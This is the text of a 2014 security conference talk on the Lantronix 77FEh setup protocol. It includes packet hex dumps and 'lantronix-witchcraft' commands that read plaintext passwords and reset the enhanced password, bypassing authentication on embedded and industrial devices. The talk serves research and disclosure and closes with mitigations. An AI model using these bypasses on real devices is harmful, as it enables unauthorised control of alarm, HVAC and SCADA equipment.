If vendors need to expose serial interface to “modern” IP world, they often use ready-made solution like Lantronix. You can find different vendors to use these devices as part of different embedded systems – from alarms to legacy SCADA systems. If you find such devices on the Internet or LAN, the most imporant part is to check if 77FEh is enabled. We will cover already known stuff with 77FEh, but also new interesting findings in owning such devices. New tool to exploit all of this will be presented as well as counter-measures.

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Eisley
Lab
Confidence 2014
Exploring treasures of 77FEh
Getting access to Lantronix devices
Vlatko Kosturjak, Diverto
@k0st

2. 2
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Eisley
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Who are you!?!!??
●
Security Jedi at Diverto
–
Bringing balance to the force
●
Experience
–
Offensive (Penetration tester)
–
Defensive (Developer/System Administrator/...)
–
Have code in: Nmap, Metasploit, OpenVAS, …
–
Author of free software: https://github.com/kost/
●
If you trust in certificates
–
CISSP, C|EH, CISA, CISM, CRISC, MBCI, ...

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Agenda
●
Introduction - Lantronix
●
Physical access
●
WTF is 77FEh?
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Vulnerabilities & Exploitation
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Recommendations
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Questions and answers
45 minutes

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Eisley
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Lantronix
Source: www.lantronix.com

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You can find them as integral part
of
●
Alarms
●
HVACs
●
Pool monitoring systems
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Sprinkler controllers
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Hacked vacuum cleaners - Roombas
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Embedded systems
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Industrial systems
Source:
http://ir.lantronix.com/phoenix.zhtml?c=122202&p=irol-newsA

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What they are running actually?
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OS
–
CoBos (mostly)
–
Evolution OS/Linux
–
ThreadX
–
Linux
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Support
–
1 or more serial ports
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Modbus (few models)
–
10/100 Ethernet

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Physical access
●
Like usual
–
Game over
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Serial access
–
No password by design
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Requirements
–
Standard TTL cable
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BusPirate
–
...

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Eisley
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Connecting to serial port...
● 9600 bps 8/N/1
● Flow control: None

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Eisley
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Most frequent services Available –
TCP/IP
●
Web (tcp/80)
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Telnet (tcp/9999)
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77FEh (tcp-udp/30718)
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SNMP (udp/161)
Telnet administration interface
What is this?
Mostly information disclosures
Simple web server
Serving applet JAR which talks
to 30718 port

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Eisley
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Device Discovery
●
Ask :)
●
Look if you have physical access
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Passive
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Active/Scanning
–
Standard port scanning is fine with conservative timing
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Broadcast UDP to specific Lantronix ports (30718)
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Beware
–
Version scanning(-sV) or running vulnerability scanners
may misconfigure device
–

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Telnet administration
$ telnet 192.168.1.101 9999
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.
MAC address DEADDEADDEAD
Software version V5.8.8.3 (050801) XPTEXE
AES library version 1.8.2.1
Password :

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So, WTF is 77FEh finally?
●
0x77FE = 30718 (10)
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TCP/UDP protocol for device setup
–
Proprietary protocol
–
Used by DeviceInstaller (proprietary software from
Lantronix)
●
Designed for
–
Setup of device
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Administration of device
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Getting device info
–
Insecurity (sorry, had to write it, you'll see later ;) )

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Sample 77FEh communication
[v] Sending 4 bytes:
0x00000000 (00000) 000000f6 ....
[v] Received 30 bytes:
(00000) 000000f7 00108005 58324400 df0e0000 ........X2D.....
(00016) 62a7d944 00000000 00204a91 84fb b..D..... J...
./lantronix-witchcraft.pl -vvvvvvvvvvvvvvvv -Q <ip>
Query setup request (4)
Query setup response (4) MAC address
of the device (6)
Device type

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Eisley
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Interesting request – #1
●
[v] Sending 4 bytes:
●
0x00000000 (00000) 000000f8 ....
●
●
[v] Received 124 bytes:
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0x00000000 (00000) 000000f9 c0a809c9 00000000 54455354 ............TEST
●
0x00000010 (00016) c0a80905 4c020000 141e141e 0a0a0a0a ....L...........
●
0x00000020 (00032) cc070000 00000000 00000000 00000000 ................
●
0x00000030 (00048) 00000000 00000000 00000000 00000000 ................
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0x00000040 (00064) 00000000 00000000 00000000 00000000 ................
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0x00000050 (00080) 00000000 00000000 00000000 00000000 ................
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0x00000060 (00096) 00000000 00000000 00000000 00000000 ................
●
0x00000070 (00112) 00000000 00000000 00000000 ............
Query setup (4)
Simple
Password
In
Plaintext
(4)
./lantronix-witchcraft.pl -vvvvvvvvvvvvvvvv -P <ip>
IPv4 (4)

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Previous – work
●
Metasploit
–
Rob Vinson
●
http://robvinson.org/blog/2012/07/08/lantronix-serial-to-etherne
●
https://github.com/robvinson/metasploit-modules
–
Metasploit modules for simple passwords by jgor
●
http://www.rapid7.com/db/modules/auxiliary/scanner/telnet/lant
●
http://www.rapid7.com/db/modules/auxiliary/scanner/telnet/lant
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Tools
–
Simple C program by jgor
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https://github.com/jgor/lantronix-telnet-pw

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But...
●
Simple password is not set
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Device still asks for password
●
Further digging
–
Enhanced password in place
–
You cannot get/reset the enhanced password
easily
–
Length is bigger (4->16)
–
Challenge!!!

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Eisley
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Introduction to enhanced passwords
Source: Lantronix documentation
Feature/Type Simple Password Enhanced
Password
Length 4 16
Visible in query
setup
yes no

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Eisley
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Source:
Mohdafri.
com

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Interesting request - #2
[v] Sending 4 bytes:
0x00000000 (00000) 000000f4 ....
[v] Received 32 bytes:
0x00000000 (00000) 000000f5 09040000 00000000 54455354 ............TEST
0x00000010 (00016) 352e382e 382e3300 00000000 00000000 5.8.8.3.........
0x00000020 (00032)
./lantronix-witchcraft.pl -vvvvvvvvvvvvvvvv -C <ip>
Simple
Password
In
Plaintext
(4)
Query ext version
Request (4)
Version (6)

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Interesting request #3
●
Request to query
configuration
–
000000eX
●
Response to query
configuration
–
000000bX +
followed by 126
bytes of setup
–
●
X=number of setup
records (0 – F):
–
0 basic setup record
●
Simple password, IP...
–
1 security record
●
Enhanced password,
AES key, SNMP...
–
2 specific products /
situations
–
3 OEMs
–
...
Wrong! Request for security record 1 provides just zero bytes!
HALF

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Eisley
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Interesting request #4
●
Request to change
configuration
–
000000cX +
followed by 126
bytes of setup
●
Response to
change
configuration
–
000000bX
–
●
X=number of setup
records (0 – F):
–
0 basic setup
record
–
1 security record
–
2 specific
products /
situations
–
3 OEMs

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Eisley
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Setting setup record 1 for security
[v] Sending 130 bytes:
0x00000000 (00000) 000000c1 00000000 00000000 00000000 ................
0x00000010 (00016) 00000000 00000000 00000000 00000000 ................
0x00000020 (00032) 00000000 00007075 626c6963 00000000 ......public....
0x00000030 (00048) 00000000 00000000 00000000 00000000 ................
0x00000040 (00064) 00000000 00000000 00000000 00000000 ................
0x00000050 (00080) 00000000 00000000 00000000 00000000 ................
0x00000060 (00096) 00000000 00000000 00000000 00000000 ................
0x00000070 (00112) 00000000 00000000 00000000 00000000 ................
0x00000080 (00128) 0000 ..
[v] Received 4 bytes:
0x00000000 (00000) 000000b1 ....
./lantronix-witchcraft.pl -vvvvvvvvvvvvvvvv -E <ip>
Setting Setup record 1
Was successful
Set Setup record 1
(security) request
SNMP
Community
String (13)
Enhanced
Password
(16)

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Enhanced password gone
no password to enter!
$ telnet 192.168.1.101 9999
Trying 192.168.1.101...
Connected to 192.168.1.101.
Escape character is '^]'.
MAC address DEADDEADDEAD
Software version V5.8.8.3 (050801) XPTEXE
AES library version 1.8.2.1
Press Enter for Setup Mode

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Eisley
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Authentication Algorithm Guess
Authenticate
Enhanced
Password
Simple
Password
Enhanced
Not set
Ask for enhanced
Ask for simple
Display setup
menu
Enhanced
set
Simple
set
Simple
Not set
Password
OK

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Eisley
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New tool: lantronix-witchcraft
●
77FEh protocol implementation
●
77FEh security related utility
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All the tricks mentioned implemented
●
Free software: GPL2
●
Requirement: Perl
●
Available at
–
https://github.com/kost/lantronix-witchcraft

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Basic usage:
●
Display Mac address:
–
./lantronix-witchcraft.pl -Q <ip>
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Display Simple Password (up to 4 characters)
–
./lantronix-witchcraft.pl -P <ip>
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Reset Security record (together with enhanced password)
–
./lantronix-witchcraft.pl -E <ip>
●
Reset Security record without AES (with enhanced
password)
–
./lantronix-witchcraft.pl -S <ip>
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Dump setup records
–
./lantronix-witchcraft.pl -G -D <ip>

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Brave enough?
●
One command to rule them all
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Display Mac address and simple password, dump setup
records, reset security records together with enhanced
password:
–
–
./lantronix-witchcraft.pl -C -Q -P -E -G -D <ip>
●

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Still wondering why automatic
scanning
is bad for Lantronix?
●
●
Dump of setup record:
00000030 00 1c 00 03 00 4e 00 53 00 50 00 6c 00 61 00 79 |.....N.S.P.l.a.y|
00000040 00 65 00 72 00 2f 00 39 00 2e 00 30 00 2e 00 30 |.e.r./.9...0...0|
00000050 00 2e 00 32 00 39 00 38 00 30 00 3b 00 20 00 7b |...2.9.8.0.;. .{|
00000060 00 30 00 30 00 30 00 30 00 41 00 41 00 30 00 30 |.0.0.0.0.A.A.0.0|
00000070 00 2d 00 30 00 41 00 30 00 30 00 2d 00 30 02 ff |.-.0.A.0.0.-.0..|

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Correct way
●
Ask
–
Someone responsible if they could have something like that
●
Send broadcast query packet to 77FEh
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Identify ports 30718 open (TCP or UDP)
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Dump setup records
●
Play ;)
●
Check if it is still working...
–
If yes, perfect
–
If not: huh, but you should restore setup records somehow ;)

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It's not about Lantronix...
●
...they warned the vendors about it in their
documentation
Source: Lantronix documentation

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Disclosure Problem
●
It's more about vendors who implement
Lantronix in their devices
●
Whom to report?
–
Lantronix – I guess they know their protocol ;)
–
OEMs – hard to find all their customers ;)
●
Awareness
–
Conference
–
Tools

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But maybe it could be done...
●
Add white list
●
Encryption/SSL?
Source: Lantronix documentation

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Recommendations
●
Have some other device to VPN/SSL tunnel
the services
●
Telnet only through VPN or other secure
channel to administration interface
●
Disable 77FEh if not needed
●
Filter out 77FEh on network devices to only
allowed ones
●
Disable other unneccesary services (SNMP,
telnet, etc).

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Summary
Source: duki@fb

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Summary
●
There are ways to pass beyond authentication (if 77FEh is enabled)
–
Simple passwords
–
Enhanced passwords
●
Tools
–
Metasploit Lantronix modules
–
https://github.com/kost/lantronix-witchcraft
●
Recommendations
–
Disable 77FEh if not needed or Filter out 77FEh on network devices to only
allowed ones
–
Tunnel VPN/SSL all communication to these devices
●
Future
–
There are things to research: way to obtain enhanced password or AES keys
for example

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Acknowledgements - Thanks
●
Previous work (Simple Passwords)
–
Rob Vinson
●
http://robvinson.org/blog/2012/07/08/lantronix-serial-to-etherne
●
https://github.com/robvinson/metasploit-modules
–
Metasploit modules for simple passwords by jgor
●
http://www.rapid7.com/db/modules/auxiliary/scanner/telnet/lan
●
http://www.rapid7.com/db/modules/auxiliary/scanner/telnet/lan
●
https://github.com/jgor/lantronix-telnet-pw
●
Colleagues
–
Dalibor Dosegović, hardware wizard

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Thank you!
Questions and Answers
@k0st